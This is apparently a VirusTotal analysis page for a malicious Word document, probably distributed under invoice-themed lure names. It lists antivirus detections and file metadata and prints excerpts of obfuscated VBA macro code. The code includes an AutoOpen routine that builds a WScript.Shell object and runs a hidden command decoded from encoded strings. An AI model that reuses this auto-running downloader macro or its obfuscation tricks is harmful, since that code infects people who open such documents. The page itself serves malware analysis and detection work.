Antivirus scan for 99b1d396c891e74ea83c2de381779da317cd2b807b373e980e65649171796189 at 2018-04-10 17:33:02 UTC

Antivirus	Result	Update
Arcabit	HEUR.VBA.Trojan.e	20180410
Baidu	VBA.Trojan-Downloader.Agent.cpw	20180410
Microsoft	TrojanDownloader:O97M/Donoff	20180410
nProtect	Trojan/W97M.Agent.Gen	20180410
Qihoo-360	virus.office.obfuscated.1	20180410
Symantec	W97M.Downloader	20180410
TrendMicro	HEUR_VBA.O2	20180410
ZoneAlarm by Check Point	HEUR:Trojan-Downloader.Script.Generic	20180410
Zoner	Probably W97Obfuscated	20180410
Ad-Aware		20180410
AegisLab		20180410
AhnLab-V3		20180410
Alibaba		20180410
ALYac		20180410
Antiy-AVL		20180410
Avast		20180410
Avast-Mobile		20180410
AVG		20180410
Avira (no cloud)		20180410
AVware		20180410
BitDefender		20180410
Bkav		20180409
CAT-QuickHeal		20180410
ClamAV		20180410
CMC		20180409
Comodo		20180410
CrowdStrike Falcon (ML)		20170201
Cybereason		None
Cylance		20180410
Cyren		20180410
DrWeb		20180410
eGambit		20180410
Emsisoft		20180410
Endgame		20180403
ESET-NOD32		20180410
F-Prot		20180410
F-Secure		20180410
Fortinet		20180410
GData		20180410
Ikarus		20180410
Sophos ML		20180121
Jiangmin		20180410
K7AntiVirus		20180410
K7GW		20180410
Kaspersky		20180410
Kingsoft		20180410
Malwarebytes		20180410
MAX		20180410
McAfee		20180410
McAfee-GW-Edition		20180410
eScan		20180410
NANO-Antivirus		20180410
Palo Alto Networks (Known Signatures)		20180410
Panda		20180410
Rising		20180410
SentinelOne (Static ML)		20180225
Sophos AV		20180410
SUPERAntiSpyware		20180410
Symantec Mobile Insight		20180406
Tencent		20180410
TheHacker		20180410
TrendMicro-HouseCall		20180410
Trustlook		20180410
VBA32		20180410
VIPRE		20180410
ViRobot		20180410
Webroot		20180410
WhiteArmor		20180408
Yandex		20180410
Zillya		20180410

The file being studied follows the Compound Document File format! More specifically, it is a MS Word Document file.

Commonly abused properties

The studied file makes use of macros, a macro is a series of commands and instructions that you group together as a single command to accomplish a task automatically. Macros are often abused to perform malicious tasks when working with a document.

May try to run other files, shell commands or applications.

May create OLE objects.

Seems to contain deobfuscation code.

Summary

creation_datetime

2018-04-10 15:43:00

author

Gynaxae

title

Gynaxae

page_count

last_saved

2018-04-10 15:43:00

revision_number

application_name

Microsoft Office Word

character_count

template

Normal.dotm

code_page

Latin I

subject

Gynaxaepy

Document summary

OLE Streams

[+] Root Entry

[+] \x01CompObj

[+] \x05DocumentSummaryInformation

[+] \x05SummaryInformation

[+] Macros/VBA/LCPEjNuVu

[+] Macros/VBA/SoqJMuRNCCZdO

[+] Macros/VBA/ZwRYFzaoqYOBE

[+] Macros/VBA/_VBA_PROJECT

[+] Macros/VBA/__SRP_0

[+] Macros/VBA/__SRP_1

[+] Macros/VBA/__SRP_2

[+] Macros/VBA/__SRP_3

[+] Macros/VBA/dir

[+] Macros/VBA/jNiFXTP

[+] WordDocument

Macros and VBA code streams

[+] LCPEjNuVu.bas Macros/VBA/LCPEjNuVu 26628 bytes

Sub iMDcO(GwKus)
For TnjiH = 38951 To nRBRCN
      Select Case iVFdi
         Case 85827
           jiMCW = CLng(OqiMl)
      End Select
   Next
ljbYE = 11746 + 50219
End Sub
Function OKfIXPmfPTPLW()
On Error Resume Next
For jVuFY = 96521 To KcXMFP
      Select Case KOADSj
         Case 57249
           umBtE = CLng(QYcMSX)
      End Select
   Next
zdfWwt = 59941 + 46392
lnMVqoWdwho = rYWVk("mtvEAOQBiAGEAYQAxAGEAZQA0ADQANQBkADIAYQBkADMAZgAyADYAMgAyADkANwBmADgAMgAxADgANwBlAGEAOAAxAGYANgA1ADgANAAwAGYAYgAyAGUAOQBjADQAMQBlAGQAOABmADQAMQBlADEAMABmAs0a", 4 + swzWFD - swzWFD, 151 + swzWFD - swzWFD)
For TNYQmA = 20137 To tflfa
      Select Case EitHu
         Case 7914
           AnsvLk = CLng(hVnwd)
      End Select
   Next
ToVooP = 27076 + 46142
For mFfRW = 72783 To IZqij
      Select Case VkJfR
         Case 28681
           OiXwbS = CLng(DZRQwI)
      End Select
   Next
KMZMJ = 178 + 29906
lUYqltcHmc = rYWVk("TADYAYwBkADUAMwBhADkAZAA0ADcANAA5AGUAMwBlAGIAZQAyADMAYQA4AGMAYgAyADUANwA3ADAAZgBlADIANQBjmAOlZ@", 2 + mlLYW - mlLYW, 88 + mlLYW - mlLYW)
For LzWMb = 68274 To PNOXK
      Select Case DihqD
         Case 91729
           jIZib = CLng(KXkTIO)
      End Select
   Next
zXYbOr = 12786 + 94160
For uLKSz = 5538 To tvwcs
      Select Case obYHB
         Case 20821
           OGXzIV = CLng(MZrLt)
      End Select
   Next
vDQJT = 94351 + 79963
GhokuFlGw = rYWVk("VzBlADAANQBjAGIAYgA3ADIAMwAxAGEAYgA3ADEAYwA0AGMAZQA2AGQANQA0AGMAMQA0ADgAMQBiADUAZQA0ADcAMAA2ADcANQBhADMAMgA0ADUAYQBkADUAOQA1ADcAOQBjADgAYQBjADUAOAA4ADAAYb47O9", 3 + DBZzH - DBZzH, 151 + DBZzH - DBZzH)
For JMAYm = 83268 To tQivr
      Select Case EnnNJ
         Case 54582
           vUDkja = CLng(lLPoE)
      End Select
   Next
nEuWY = 42219 + 58193
For ziMGDp = 69398 To JFdqp
      Select Case DUwDNn
         Case 98833
           LINvq = CLng(UMbKQp)
      End Select
   Next
ZKRbIH = 26850 + 6068
isAYGwj = rYWVk("ZYbADAANwA3ADUAZAAwAGEAOABkADQAMgA1ADUAYQAwADEAZAA5ADYAYwBlAGUAYQA2AGIAZQBhADIANgA4ADAANAAzADIAZgiOMJ", 4 [... continues ...]

[+] SoqJMuRNCCZdO.bas Macros/VBA/SoqJMuRNCCZdO 19487 bytes

create-ole obfuscated run-file

Sub qAJLHHWjsXC()
On Error Resume Next
For lpGKCh = 38626 To XRwVI
      Select Case CjTCDr
         Case 99469
           TSiENj = CLng(iwSHW)
      End Select
   Next
bHszs = 17857 + 20470
End Sub
Sub AutoOpen()
On Error Resume Next
For ZEnCi = 9378 To PpUKpw
      Select Case ncwTo
         Case 65615
           VdNlVa = CLng(bCLipi)
      End Select
   Next
OuBjbi = 37012 + 12975
Application.Run zjLFTQ + "vsUcUkwfNRkw" + YVcSD, ZRIiLo + OKfIXPmfPTPLW + IbAOcY
For wkMzVO = 58933 To EJVIL
      Select Case nNMPq
         Case 77417
           kazXf = CLng(qVjzd)
      End Select
   Next
hEnIdw = 79034 + 92014
End Sub
Function tAXQzBwt()
tAXQzBwt = MzICc + Replace("wqVUAPWwqVUAPSwqVUAPcwqVUAPrwqVUAPiwqVUAPpwqVUAPtwqVUAP.wqVUAPSwqVUAPhwqVUAPewqVUAPlwqVUAPlwqVUAP", "wqVUAP", "") + VOowlk
For MJPbq = 89482 To uYMsMd
      Select Case zEjSBs
         Case 20751
           boUCj = CLng(HrwrK)
      End Select
   Next
sisBG = 89551 + 14597
End Function
            Sub vsUcUkwfNRkw(dPmqzZtG As String)
On Error Resume Next
For nmQpz = 77845 To JEfkr
      Select Case oibGn
         Case 22171
           njOBC = CLng(EUMhM)
      End Select
   Next
kwkoY = 59721 + 6399
TrPVn = "wqVUAP"
For zzmSGS = 31904 To wRvTj
      Select Case bGYOnp
         Case 69164
           zXTdH = CLng(DtCbk)
      End Select
   Next
Tptvu = 67882 + 86641
CreateObject(YumtX + tAXQzBwt + VdQJrN).Run wAPwcLJ + Chr(VBA.vbKeyC) + dPmqzZtG + COTiSUlMcUEwjc + laGKl, vbHide
For dtkWGV = 78796 To wRXjAW
      Select Case SKFbjQ
         Case 75994
           mRbWzd = CLng(WAXZY)
      End Select
   Next
jMLzw = 66054 + 61054
End Sub
Function LKVXMbIYX()
On Error Resume Next
For IDSjt = 41801 To tOOqj
      Select Case XFCBtp
         Case 75446
           ButPU = CLng(ZSWZpJ)
      End Select
   Next
aiVtzK = 19205 + 30298
EUnCLk = rYWVk("4jaJITJ%!!%vsFw", 5 + thoAH - thoAH, 9 + thoAH - thoAH)
For JTZpCa = 60619 To FbYQG
      Select Case ZTZZi
         Case 51446
           oBWvzW = CLng(HwidpI)
       [... continues ...]

[+] jNiFXTP.bas Macros/VBA/jNiFXTP 5920 bytes

Function mIscIQi()
On Error Resume Next
For MDSKbb = 43833 To hWqjHB
      Select Case fBJiqj
         Case 87182
           OuzjZj = CLng(XHiPO)
      End Select
   Next
rwphaS = 73896 + 49938
XjBJqBE = rYWVk("mCaaaAozfQ9i", 3 + YXPzlM - YXPzlM, 5 + YXPzlM - YXPzlM)
For VAOliY = 74413 To iSSKEQ
      Select Case swsNwi
         Case 4584
           nFnCUz = CLng(OGTYY)
      End Select
   Next
VnFvkW = 91486 + 93955
For vcdCHN = 88400 To TpSzbf
      Select Case tdJPa
         Case 44967
           FzbGc = CLng(GBpTQN)
      End Select
   Next
SiKci = 90405 + 50084
shSiq = rYWVk("aaiamd DVft82Z", 5 + RmiOpd - RmiOpd, 6 + RmiOpd - RmiOpd)
For oNQBSr = 84297 To TlzVo
      Select Case jbAlA
         Case 42112
           AzjON = CLng(LSjkf)
      End Select
   Next
OQkKEJ = 3628 + 27623
For daniXk = 49680 To zmOBh
      Select Case DQYZp
         Case 93428
           UZLzkj = CLng(AzVUp)
      End Select
   Next
NffBu = 21008 + 43809
PMNQWZ = rYWVk("sMBOo4q%wqVUAPcwqVUAPVM", 8 + VhTsdw - VhTsdw, 4 + VhTsdw - VhTsdw)
For KKDPmN = 39338 To KlqiuI
      Select Case bfnAP
         Case 35875
           RtMNFX = CLng(XifZHK)
      End Select
   Next
IjzWp = 24279 + 78445
For OPPhw = 15838 To wHDsz
      Select Case bGolkw
         Case 21200
           jqGpo = CLng(tbIrK)
      End Select
   Next
QLBQzM = 86324 + 12330
tYozIwEBl = rYWVk("m9fmowqVUAPmwqVUAPSwqVUAPpwqVUAPMt", 5 + iGYEiD - iGYEiD, 8 + iGYEiD - iGYEiD)
For qfPDYK = 54768 To DJwEP
      Select Case ZIsHrL
         Case 41161
           LiVfPE = CLng(mXFEH)
      End Select
   Next
KqlPGR = 48198 + 9328
For ckXICV = 51191 To BGhEV
      Select Case oPadFp
         Case 14307
           EBwRHz = CLng(jAddkR)
      End Select
   Next
pjwso = 3396 + 57161
DqdDomIYB = rYWVk("J9cAio         /c          JZB", 7 + LZBjcH - LZBjcH, 21 + LZBjcH - LZBjcH)
For IFQfXf = 76706 To Nzicj
      Select Case KkNbB
         Case 42039
           DblSi = CLng(tiMAFW)
      End Select
   Next
ssBbb = 35069 + 84869
For XRWfF = 4650 [... continues ...]

ExifTool file metadata

File identification

MD5 8ae2bc02f5ed0cf08b844d09d35e13ba

SHA1 5ce9316ab0421887ed7143d34d9f2146b5fb4079

SHA256 99b1d396c891e74ea83c2de381779da317cd2b807b373e980e65649171796189

ssdeep

3072:zsmVq5T4wq159XKdt3D8wHG2pLclAiKpUHvtDa3g9:zsx14wq159QtTRHG2pLcaiKkvtu34

File size 176.0 KB ( 180224 bytes )

File type MS Word Document

Magic literal

CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Gynaxae, Subject: Gynaxaepy, Author: Gynaxae, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon Apr 09 14:43:00 2018, Last Saved Time/Date: Mon Apr 09 14:43:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0

TrID	Microsoft Word document (54.2%) Microsoft Word document (old ver.) (32.2%) Generic OLE2 / Multistream Compound File (13.5%)

VirusTotal metadata

First submission 2018-04-10 15:01:08 UTC ( 10 months, 2 weeks ago )

Last submission 2018-05-10 16:09:55 UTC ( 9 months, 2 weeks ago )

File names

Outstanding Invoices.doc
bc7c96ea8404811257fdf5a0034f7730bcbc6f10
Question.doc
Invoice for you.doc
Scan.doc
Fwd: ACH form.doc
ACH form.doc
69.doc
530-07-888827-440 & 530-07-888827-191.doc
Need to send the attachment.doc
Past Due Invoices.doc
Invoice Number 49011.doc
Invoice Number 02831.doc
Paid Invoice.doc
Document needed.doc
Invoice 8466828 April.doc
Open Past Due Orders.doc
Important Please Read.doc
Invoice Number 688192.doc
Overdue payment.doc
5 Past Due Invoices.doc
Open invoices.doc
295-28-897778-499 & 295-28-897778-544.doc
Invoices attached.doc
Invoice 8680780 April.doc

SHA256:	99b1d396c891e74ea83c2de381779da317cd2b807b373e980e65649171796189
Detection ratio:	9 / 59
Analysis date:	2018-04-10 17:33:02 UTC ( 10 months, 2 weeks ago ) View latest

Ciphered bundle

Commonly abused properties

Summary

Document summary

OLE Streams

Macros and VBA code streams

ExifTool file metadata

File identification

VirusTotal metadata

Leave your comment...

Recover your password

Join VirusTotal Community

Sign in